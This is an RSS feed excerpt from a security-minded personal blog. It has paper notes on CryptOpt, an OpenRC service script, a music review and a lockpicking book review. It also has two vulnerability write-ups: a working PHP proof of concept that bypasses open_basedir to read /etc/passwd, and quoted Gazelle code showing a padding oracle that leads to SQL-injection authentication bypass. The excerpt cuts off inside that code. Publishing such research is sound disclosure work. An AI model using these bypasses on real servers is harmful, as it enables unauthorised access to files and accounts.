Chitchanok Chuengsatiansup, Daniel Genkin, Markus Wagner, Yuval Yarom&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Cryptography is hard, high-performance one even more so: formal proof of\nassembly implementations is horrible to model, and code generation from \nformal proofs are hard to lower to high-performance assembly. The core idea of\nCryptOpt is to treat this as a black box combinatorial optimization problem,\nand bruteforce possible solutions in a smart way against an oracle.&lt;/p&gt;\n&lt;p&gt;More precisely:&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;start from a known-correct implementation in\n  &lt;a href=\"https://github.com/mit-plv/fiat-crypto\"&gt;fiat-crypto&lt;/a&gt; (a\n  coq-powered high-level to low-level IR proven translator) low-level IR;&lt;/li&gt;\n&lt;li&gt;lower it via a fuzzer-like machinery replacing/reordering operands\n   applying semantics-and-data-constrains-preserving transformations, which has an acceptable\n   search space because:&lt;ul&gt;\n&lt;li&gt;it's straight-line no-aliasing constant-offset-pointers assembly;&lt;/li&gt;\n&lt;li&gt;transformations can be templatised, eg. &lt;code&gt;add ≍ clc; adcx&lt;/code&gt;;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;lift the resulting x64 assembly to fiat-crypto low-level IR;&lt;/li&gt;\n&lt;li&gt;use a custom &lt;a href=\"https://en.wikipedia.org/wiki/E-graph\"&gt;e-graph&lt;/a&gt; based \n  &lt;em&gt;equivalence checker&lt;/em&gt; implemented as a mix between an SMT solver and a symbolic-execution engine;&lt;/li&gt;\n&lt;li&gt;if the new implementation is correct, benchmark it against the current;\n   fastest one, and keep it if it's outperforming it.&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;goto 2&lt;/code&gt;.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;This approach has a couple of advantages:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;fuzzers are cheaper than highly specialised engineering time&lt;/li&gt;\n&lt;li&gt;porting implementations to new hardware is simply a matter of\n  running CryptOpt on it.&lt;/li&gt;\n&lt;li&gt;by lifting the assembly to fiat-crypto low-level IR,\n  there is no need to write complex formal proofs,\n  since fiat-crypto is already taking care of those.&lt;/li&gt;\n&lt;li&gt;controlling the mutations allows to ensure that\n  the implementation stays side-channel free.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The main issue though, is that one needs to formally implement \nwhatever algorithm to optimize in fiat-crypto, which is not that easy (and\nwhich the authors of the paper didn't do for libsecp256k1).&lt;/p&gt;\n&lt;p&gt;Implementation-wise, the author ran 200k mutations, with 20 initial candidates,\nover 18 Fiat IR primitives, taking between 20 and 40 CPU hours. Interestingly,\nsince the equivalence-based verification is &lt;em&gt;slow&lt;/em&gt; (between 0.1s and ~300s),\nit's only done once at the end. They found out that \"optimization progress is roughly logarithmic\nin the number of mutations.\" CryptOpt generates code around 1.20 to 2.50 times\nfaster than gcc/clang for the same fiat-crypto generated C code. It's not\nfaster then OpenSSL (but offers formally verified correctness), but is\nfaster than libsecp256k1.&lt;/p&gt;\n&lt;p&gt;The paper was &lt;a href=\"https://iacr.org/submit/files/slides/2023/rwc/rwc2023/85/slides.pdf\"&gt;presented&lt;/a&gt; at &lt;a href=\"https://rwc.iacr.org/2023/program.php\"&gt;Real World Crypto 2023&lt;/a&gt;,\nand like all good one, it came with an &lt;a href=\"https://github.com/0xADE1A1DE/CryptOpt\"&gt;implementation&lt;/a&gt;&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Fri, 01 Dec 2023 12:30:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-12-01:/b/paper-notes-cryptopt.html</guid><category>paper_notes</category></item><item><title>Managing a bouncer via OpenRC</title><link>https://dustri.org/b/managing-a-bouncer-via-openrc.html</link><description>&lt;p&gt;I'm an avid &lt;a href=\"https://en.wikipedia.org/wiki/Internet_Relay_Chat\"&gt;IRC&lt;/a&gt;\nuser, and I'm using &lt;a href=\"https://en.wikipedia.org/wiki/XMPP\"&gt;XMPP&lt;/a&gt; to idle on\n&lt;a href=\"https://tails.net/support/index.en.html\"&gt;Tails&lt;/a&gt;' chatrooms. Since protocols\ntend to only work when one is connected, they're both running inside a\n&lt;a href=\"https://github.com/tmux/tmux\"&gt;tmux&lt;/a&gt; session, acting as a\n&lt;a href=\"https://en.wikipedia.org/wiki/BNC_(software)\"&gt;bouncer&lt;/a&gt;.\nBut now that my hypervisor is automatically rebooting to apply security updates,\nand during power cuts via &lt;a href=\"https://networkupstools.org/\"&gt;nut&lt;/a&gt;,\nI needed a way to automatically restart the bouncer. Since\nit's running in an &lt;a href=\"https://www.alpinelinux.org/\"&gt;Alpine Linux&lt;/a&gt; container,\nhere is my solution in the form of an &lt;a href=\"https://github.com/OpenRC/openrc\"&gt;OpenRC&lt;/a&gt;\nservice script, because I couldn't find one on the internet:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"ch\"&gt;#!/sbin/openrc-run&lt;/span&gt;\n\n&lt;span class=\"nv\"&gt;USER&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;jvoisin\n\n&lt;span class=\"nv\"&gt;name&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;chat&amp;quot;&lt;/span&gt;\n&lt;span class=\"nv\"&gt;command_user&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;&lt;span class=\"nv\"&gt;$USER&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;\n&lt;span class=\"nv\"&gt;command&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;/usr/bin/tmux\n&lt;span class=\"nv\"&gt;command_args&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;new-session -s chat -d &amp;#39;/usr/bin/weechat&amp;#39; \\; new-window &amp;#39;/usr/bin/profanity&amp;#39; \\; select-window -t -1&amp;quot;&lt;/span&gt;\n&lt;span class=\"nv\"&gt;pidfile&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;/run/&lt;/span&gt;&lt;span class=\"nv\"&gt;$SVCNAME&lt;/span&gt;&lt;span class=\"s2\"&gt;.pid&amp;quot;&lt;/span&gt;\n\ndepend&lt;span class=\"o\"&gt;()&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;need&lt;span class=\"w\"&gt; &lt;/span&gt;net\n&lt;span class=\"w\"&gt;        &lt;/span&gt;use&lt;span class=\"w\"&gt; &lt;/span&gt;dns&lt;span class=\"w\"&gt; &lt;/span&gt;\n&lt;span class=\"o\"&gt;}&lt;/span&gt;&lt;span class=\"w\"&gt;              &lt;/span&gt;\n\nstop&lt;span class=\"o\"&gt;()&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;su&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;&lt;span class=\"nv\"&gt;$USER&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;-c&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;tmux kill-session chat&amp;#39;&lt;/span&gt;\n&lt;span class=\"o\"&gt;}&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Fri, 24 Nov 2023 16:30:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-11-24:/b/managing-a-bouncer-via-openrc.html</guid><category>sysadmin</category></item><item><title>Netra - Ingrats</title><link>https://dustri.org/b/netra-ingrats.html</link><description>&lt;p&gt;&lt;a href=\"https://hypnoticdirgerecords.bandcamp.com/album/ingrats\"&gt;&lt;img alt=\"Cover\" src=\"https://dustri.org/b/images/netra_ingrats.jpg\"&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;em&gt;Ingrats&lt;/em&gt; (\"ungrateful ones\" in French) is the 3&lt;sup&gt;rd&lt;/sup&gt; album from\nNetra, and it's a very lonely one, for I don't think it has any peers. A mix of\ndepressive black metal, trip hop, and jazz à la &lt;a href=\"https://en.wikipedia.org/wiki/Bohren_%26_der_Club_of_Gore\"&gt;Bohren &amp;amp; der Club of\nGore&lt;/a&gt; in equal\nmeasures, bound together with a hint of depressive darkwave, resulting\nin a not only surprisingly cohesive and daring record, but also an excessively\npleasant and honest one.&lt;/p&gt;\n&lt;p&gt;Opening with \"Gimme a break\", a mellow jazzy noir blues vibe where one wants to\nsnap in rhythm, things quickly devolve into blast beats, raw screams and\ntwisted guitar of \"Everything’s Fine\", arguably the most black-metal-esque song\nof the album. Albeit it is way more than yet-another-black-metal-track,\nmorphing into something more complex, with an eerie piano melody, and some\nalmost gothic rock clear singing. The sudden transitions are perfectly\nexecuted, and the work on the voices is truly delicious, resulting in an\nalienating, impetuous yet melancholic track. \"Underneath my words the ruins of\nyours\" is a subtle mix of trip-hop and atmospheric post-rock/darkwave,\npursuing with \"Live with It\", even more trip-hop, but this time with a\n&lt;a href=\"https://en.wikipedia.org/wiki/Syncopation\"&gt;syncopated&lt;/a&gt; rhythm, 80s gothic\nrock, clean vocals and acoustic guitars, … it results in something like\nKatatonia doing a feat with &lt;a href=\"https://en.wikipedia.org/wiki/Gramatik\"&gt;Gramatik&lt;/a&gt;\nand &lt;a href=\"https://en.wikipedia.org/wiki/Ulver\"&gt;Ulver&lt;/a&gt; period early 2000s.&lt;/p&gt;\n&lt;p&gt;Then the calm before the storm, \"Infinite bordedom\", a one minute interlude of grainy piano under the rain,\nannouncing \"Don't Keep Me Waiting\", some sort of nihilist black metal track,\nbut with the noted presence of a saxophone and some clear touches of jazz. The presence of a whispered sample\nfrom &lt;a href=\"https://en.wikipedia.org/wiki/The_Minister\"&gt;L’exercice de l’État&lt;/a&gt;\nhas a gentle touch of &lt;a href=\"https://www.metal-archives.com/bands/B%C3%A2%27a/3540445572\"&gt;Ba'a&lt;/a&gt;. Moving on\nto \"A Genuinely Benevolent Man\", starting with synthesisers,\nthen a 4|4 kick resulting in something that could be on a &lt;a href=\"https://en.wikipedia.org/wiki/VNV_Nation\"&gt;VNV Nation&lt;/a&gt; album.\nUntil it decays into something more raw, and when the shrieking vocals\nare showing up, you didn't even realise that we've left the world of the darkwave\nto return into the one of black metal.&lt;/p&gt;\n&lt;p&gt;\"Paris or Me\", dark and rainy, with bits of triptop percussion,\nintroducing \"Could've, Should've, Would've\", with tasteful hints of Depeche Mode, Dead Can Dance,\npost-2000 Velvet Acid Christ, giving it a resolute tasteful darkwave-synth-pop-EBM\ncocktail. The album ends with \"Jusqu'au-boutiste\", starting with some jazzy piano on a &lt;a href=\"https://en.wikipedia.org/wiki/Bassline#Walking_bass\"&gt;walking\nbass&lt;/a&gt;, turning into an ultra-saturated tremolo riff with blast beats,\nand both worlds are alternating along the track, only interrupted by a very à\npropos sample from &lt;a href=\"https://en.wikipedia.org/wiki/Low_Down\"&gt;Low Down&lt;/a&gt;. It goes\non until the piano gets creepier and creepier, landing into strings,\nmorphing into dislocated tip-hop soul, beaching onto calm synthesisers,\nand ending with raw black metal as background for electronic sounds.&lt;/p&gt;\n&lt;p&gt;As &lt;a href=\"https://hypnoticdirgerecords.com/\"&gt;Hypnotic Dirge Records&lt;/a&gt;, the label on which the disc was produced, perfectly\nsummarised:&lt;/p&gt;\n&lt;blockquote&gt;\n&lt;p&gt;The perfect soundtrack for late-night walks in the city. The material on\n“Ingrats” is an all-out assault on the senses, a bitter pill that must be\nswallowed as an accompaniment for self-reflection. An album which can connect\nemotionally and leave you drained at the end.&lt;/p&gt;\n&lt;/blockquote&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Sat, 18 Nov 2023 22:45:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-11-18:/b/netra-ingrats.html</guid><category>music</category></item><item><title>ini_set based open_basedir bypass</title><link>https://dustri.org/b/ini_set-based-open_basedir-bypass.html</link><description>&lt;p&gt;This one was burned by &lt;a href=\"https://twitter.com/Blaklis_\"&gt;Blaklis&lt;/a&gt; in 2019,\nby being the expected solution for his \n&lt;a href=\"https://github.com/Blaklis/my-challenges/tree/master/phuck3\"&gt;Phuck3&lt;/a&gt; challenge\nfor InsomniHack Finals 2019, but has been known long before.&lt;/p&gt;\n&lt;p&gt;In the words of &lt;a href=\"https://www.php.net/manual/en/ini.core.php#ini.open-basedir\"&gt;PHP's documentation&lt;/a&gt; on &lt;code&gt;open_basedir&lt;/code&gt;:&lt;/p&gt;\n&lt;blockquote&gt;\n&lt;p&gt;When a script tries to access the filesystem, for example using include,\nor fopen(), the location of the file is checked. When the file is outside the\nspecified directory-tree, PHP will refuse to access it. All symbolic links are\nresolved, so it's not possible to avoid this restriction with a symlink. If the\nfile doesn't exist then the symlink couldn't be resolved and the filename is\ncompared to (a resolved) open_basedir. &lt;/p&gt;\n&lt;p&gt;[…]&lt;/p&gt;\n&lt;p&gt;open_basedir is just an extra safety net, that is in no way comprehensive, and can therefore not be relied upon when security is needed. &lt;/p&gt;\n&lt;/blockquote&gt;\n&lt;p&gt;It has been more or less fixed in &lt;a href=\"https://github.com/php/php-src/commit/ee9e07541f9f07762e3ee781102eea3a4190787c\"&gt;March 2021&lt;/a&gt;,\nthen again in &lt;a href=\"https://github.com/php/php-src/commit/61e98bf35eb939bdd7b27ad7938f8549db2e1551\"&gt;March 2023&lt;/a&gt;,\nand again in &lt;a href=\"https://github.com/php/php-src/commit/9bcdf219ec6e8d6c2a55f1712b7d868b9129ef8d\"&gt;July 2023&lt;/a&gt;.\nBut I wouldn't be surprised if more low-hanging bypasses were lurking ;)&lt;/p&gt;\n&lt;p&gt;The crux of the bypass is that php didn't resolve relative paths both in\n&lt;code&gt;ini_set&lt;/code&gt; and when checking &lt;code&gt;php_check_open_basedir&lt;/code&gt;:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"o\"&gt;&amp;lt;?&lt;/span&gt;&lt;span class=\"nx\"&gt;php&lt;/span&gt;\n&lt;span class=\"k\"&gt;echo&lt;/span&gt; &lt;span class=\"nb\"&gt;ini_get&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;open_basedir&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt; &lt;span class=\"c1\"&gt;// /var/www/html&lt;/span&gt;\n&lt;span class=\"nb\"&gt;mkdir&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;./tmp&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;span class=\"nb\"&gt;chdir&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;./tmp&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;span class=\"nb\"&gt;ini_set&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;open_basedir&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"s1\"&gt;&amp;#39;..&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;span class=\"k\"&gt;for&lt;/span&gt; &lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$i&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"mi\"&gt;1&lt;/span&gt;&lt;span class=\"p\"&gt;;&lt;/span&gt; &lt;span class=\"nv\"&gt;$i&lt;/span&gt; &lt;span class=\"o\"&gt;&amp;lt;=&lt;/span&gt; &lt;span class=\"mi\"&gt;24&lt;/span&gt;&lt;span class=\"p\"&gt;;&lt;/span&gt; &lt;span class=\"nv\"&gt;$i&lt;/span&gt;&lt;span class=\"o\"&gt;++&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n    &lt;span class=\"nb\"&gt;chdir&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;..&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;span class=\"nb\"&gt;ini_set&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;open_basedir&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;\n&lt;span class=\"k\"&gt;echo&lt;/span&gt; &lt;span class=\"nb\"&gt;file_get_contents&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;/etc/passwd&amp;quot;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Fri, 03 Nov 2023 16:30:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-11-03:/b/ini_set-based-open_basedir-bypass.html</guid><category>php</category></item><item><title>Book review: Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Cracking</title><link>https://dustri.org/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html</link><description>&lt;p&gt;&lt;a href=\"https://nostarch.com/locksport\"&gt;&lt;img alt=\"Locksport's cover\" src=\"https://dustri.org/b/images/locksport.png\"&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;I'm starting to feel guilty about getting ebooks for free from \n&lt;a href=\"https://nostarch.com/about\"&gt;No Starch Press&lt;/a&gt;, but apparently they're happy to\nsend them my way in exchange for a review, so I won't complain.&lt;/p&gt;\n&lt;p&gt;Anyway, I got a copy of the early access version &lt;a href=\"https://nostarch.com/locksport\"&gt;Locksport - A Hacker’s Guide to Lockpicking,\nImpressioning, and Safe Cracking&lt;/a&gt;!\nIt's obviously a book about lockpicking, but, as &lt;em&gt;hinted&lt;/em&gt; by its name, \nfrom the &lt;a href=\"https://www.lockwiki.com/index.php/Locks port\"&gt;sport&lt;/a&gt; angle.&lt;/p&gt;\n&lt;p&gt;I'm not completely clueless when it comes to picking locks, but I've always been\nmediocre at best, since I never really put the effort into practising anything\nbut the basics. This was thus a great opportunity for a deeper dive!\nSo I got myself a &lt;a href=\"https://covertinstruments.com/collections/lockpicks/products/genesis-lock-pick\"&gt;proper set of picks&lt;/a&gt;,\n3 cutaway training locks &lt;a href=\"https://www.sparrowslockpicks.com/products/cut-away-lock-serrated-pins\"&gt;one with serrated pins&lt;/a&gt;,\n&lt;a href=\"https://www.sparrowslockpicks.com/products/cut-away-lock-spool-pins\"&gt;with spool pins&lt;/a&gt;,\nand &lt;a href=\"https://www.sparrowslockpicks.com/products/cut-away-lock-check-pins\"&gt;one with stupid chess pieces pins&lt;/a&gt;,\nand a couple of locks/padlocks from my local locksmith, and dove into the book!&lt;/p&gt;\n&lt;p&gt;I was a bit curious about its content, since I didn't bother reading the table of contents,\nand was expecting a pile of techniques to open &lt;a href=\"https://en.wikipedia.org/wiki/Wafer_tumbler_lock\"&gt;wafer tumbler locks&lt;/a&gt;\nin the fastest way possible. But the book is so much more than that, with\nhistorical perspectives, a bit of legalese, the proper etiquette to participate in lockpicking\ncompetitions and how to organise one, anecdotes, mechanical details and\nresources for those who &lt;a href=\"https://en.wikipedia.org/wiki/Starship_Troopers_(film)\"&gt;would like to know\nmore&lt;/a&gt;, how to tear\napart, modify, take care of, and reassemble locks, where to get equipment,\nhow to &lt;a href=\"https://www.lockwiki.com/index.php/Impressioning\"&gt;impression keys&lt;/a&gt;,\ndetails on &lt;a href=\"https://en.wikipedia.org/wiki/Lever_tumbler_lock\"&gt;lever tumbler locks&lt;/a&gt;\nand &lt;a href=\"https://en.wikipedia.org/wiki/Safe\"&gt;vaults&lt;/a&gt;,\n…&lt;/p&gt;\n&lt;p&gt;The part about wafer locks, while interesting, doesn't really go much further\nthan some basic techniques for entry-level &lt;a href=\"https://lockwiki.com/index.php/Security_pin#Security_pin_illustrations\"&gt;security pins&lt;/a&gt;,\nbut I guess practise is the only way to learn how to handle anything non-trivial anyway.\nOn the other hand, the part about lever locks was highly entertaining,\nsince those are really weird compared to the &lt;em&gt;usual&lt;/em&gt; locks,\nand I didn't know much about them.&lt;/p&gt;\n&lt;p&gt;I recently gifted myself a &lt;a href=\"https://www.sparrowslockpicks.com/products/challenge-vault\"&gt;Sparrow's challenge vault&lt;/a&gt; for my birthday,\nand was thus highly delighted to discover that the book has a whole section\non &lt;a href=\"https://en.wikipedia.org/wiki/Safe-cracking\"&gt;safe manipulation&lt;/a&gt;; which is\nfortunate since the instructions coming with the vault are &lt;s&gt;pure garbage&lt;/s&gt;\nconfusing at best.&lt;/p&gt;\n&lt;p&gt;The only issue I had with the book is that while it's full of gorgeous colourful\npictures, like the small marks left by pins during key impressioning,\nthey are unfortunately barely legible on my\n&lt;a href=\"https://www.pocketbook-int.com/ge/products/pocketbook-inkpad-3\"&gt;Pocketbook InkPad 3&lt;/a&gt;,\nso I'd recommend getting the paperback version if you don't have a 𝖙𝖗𝖚𝖊𝖈𝖔𝖑𝖔𝖗 4𝖐\n𝕳𝕯𝕽 e-reader.&lt;/p&gt;\n&lt;p&gt;All in all, it's a really great self-contained book for newcomers and beginners,\nentertaining, detailed, … and doing a tremendous job at making\nlockpicking competitions look cool yet accessible! It was also a nice motivation booster for me to\ntackle harder locks.&lt;/p&gt;\n&lt;p&gt;If you already know your way around locks, you might want to look at &lt;a href=\"https://www.barnesandnoble.com/w/high-security-mechanical-locks-graham-pulford/1111341233\"&gt;High-Security Mechanical Locks: An\nEncyclopedic\nReference&lt;/a&gt; instead.&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Fri, 20 Oct 2023 18:00:00 +0200</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2023-10-20:/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html</guid><category>book_reviews</category></item><item><title>Authentication bypass on What.CD's Gazelle</title><link>https://dustri.org/b/authentication-bypass-on-whatcds-gazelle.html</link><description>&lt;p&gt;&lt;a href=\"https://en.wikipedia.org/wiki/What.CD\"&gt;What.CD&lt;/a&gt; has been dead since 2016, and\nhopefully &lt;a href=\"https://github.com/OPSnet/Gazelle/blob/master/app/Util/Crypto.php\"&gt;nobody&lt;/a&gt;\nis using &lt;a href=\"https://github.com/WhatCD/Gazelle\"&gt;Gazelle&lt;/a&gt;,\ntheir \"web framework geared towards private BitTorrent tracker\" anymore.\nI've been sitting on this one for years, I know I wasn't the only one,\nand it's not the only low-hanging vulnerability lurking there.&lt;/p&gt;\n&lt;p&gt;Rolling your own blunt is alright, rolling your own authentication scheme\nless so: there is a trivial &lt;a href=\"https://en.wikipedia.org/wiki/Padding_oracle_attack\"&gt;padding oracle&lt;/a&gt;\nin the &lt;a href=\"https://github.com/WhatCD/Gazelle/blob/master/classes/encrypt.class.php#L24\"&gt;homegrown crypto scheme&lt;/a&gt;:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"k\"&gt;public&lt;/span&gt; &lt;span class=\"k\"&gt;function&lt;/span&gt; &lt;span class=\"nf\"&gt;decrypt&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$CryptStr&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$Key&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nx\"&gt;ENCKEY&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n    &lt;span class=\"k\"&gt;if&lt;/span&gt; &lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$CryptStr&lt;/span&gt; &lt;span class=\"o\"&gt;!=&lt;/span&gt; &lt;span class=\"s1\"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n        &lt;span class=\"nv\"&gt;$IV&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nb\"&gt;substr&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nb\"&gt;base64_decode&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$CryptStr&lt;/span&gt;&lt;span class=\"p\"&gt;),&lt;/span&gt; &lt;span class=\"mi\"&gt;0&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"mi\"&gt;16&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n        &lt;span class=\"nv\"&gt;$CryptStr&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nb\"&gt;substr&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nb\"&gt;base64_decode&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$CryptStr&lt;/span&gt;&lt;span class=\"p\"&gt;),&lt;/span&gt; &lt;span class=\"mi\"&gt;16&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n        &lt;span class=\"k\"&gt;return&lt;/span&gt; &lt;span class=\"nb\"&gt;trim&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nb\"&gt;mcrypt_decrypt&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nx\"&gt;MCRYPT_RIJNDAEL_128&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$Key&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$CryptStr&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nx\"&gt;MCRYPT_MODE_CBC&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"nv\"&gt;$IV&lt;/span&gt;&lt;span class=\"p\"&gt;));&lt;/span&gt;\n    &lt;span class=\"p\"&gt;}&lt;/span&gt; &lt;span class=\"k\"&gt;else&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n        &lt;span class=\"k\"&gt;return&lt;/span&gt; &lt;span class=\"s1\"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;;&lt;/span&gt;\n    &lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;leading to an &lt;a href=\"https://github.com/WhatCD/Gazelle/blob/master/classes/ajax_start.php#L23-L31\"&gt;authentication bypass via a SQL injection&lt;/a&gt;:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"k\"&gt;if&lt;/span&gt; &lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nb\"&gt;isset&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$_COOKIE&lt;/span&gt;&lt;span class=\"p\"&gt;[&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;session&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;]))&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n    &lt;span class=\"nv\"&gt;$LoginCookie&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"nv\"&gt;$Enc&lt;/span&gt;&lt;span class=\"o\"&gt;-&amp;gt;&lt;/span&gt;&lt;span class=\"na\"&gt;decrypt&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$_COOKIE&lt;/span&gt;&lt;span class=\"p\"&gt;[&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;session&amp;#39;&lt;/span&gt;&lt;span 